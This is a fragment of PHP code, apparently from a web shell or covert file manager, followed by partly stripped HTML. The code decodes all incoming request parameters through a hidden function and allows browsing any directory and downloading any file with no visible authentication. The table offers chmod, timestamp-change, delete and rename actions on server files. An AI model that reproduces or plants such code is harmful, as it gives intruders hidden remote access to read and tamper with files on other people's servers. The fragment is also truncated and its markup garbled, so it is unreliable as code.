$v){$_GET[$k]=d($v);}foreach($_POST as $k=>$v){$_POST[$k]=d($v);}$dir=realpath(isset($_GET["dir"])?$_GET["dir"]:__DIR__);$dir=$dir?$dir:__DIR__;chdir($dir);$edir="dir=".e($dir);if(isset($_GET["dl"])){if(!realpath($_GET["dl"])){exit();}header("Content-Description: File Transfer");header("Content-Type: application/octet-stream");header('Content-Disposition: attachment; filename="'.basename($_POST["dl"]).'"');readfile($_GET["dl"]);exit();}function size($path,$decimals=0){$bytes=filesize($path);$factor=floor((strlen($bytes)-1)/3);if($factor>0){$sz="KMGT";}return sprintf("%.{$decimals}f",$bytes/pow(1024,$factor)).@$sz[$factor-1]."B";}function perms($path){clearstatcache();$perms=fileperms($path);$x=["U","p","c","U","d","U","b","U","r","U","l","U","s","U","U","U",];$info=$x[$perms>>12].implode("",array_map(function($b,$m){return $b=="1"?$m:"-";},str_split(decbin($perms&0xfff).""),str_split("rwxrwxrwx")));return $info." ".substr(sprintf("%o",@fileperms($path)),-4);}if(!function_exists("posix_getpwuid")&&!extension_loaded("posix")){function posix_getpwuid($x){return["name"=>"---"];}} ?>
SIZE | Modified Date | PERMS | ACTION | |
---|---|---|---|---|
">">'.readlink($path)."":""; ?> | "class="btn"onclick='return chtime(this,"")'> | "class="btn"onclick='return chmod(this,"")'> | "class="btn icon delete"onclick='return confirm("Sure to delete?")'title="Delete">"class="btn icon rename"onclick='return rename(this,"")'title="Rename">';}} ?> |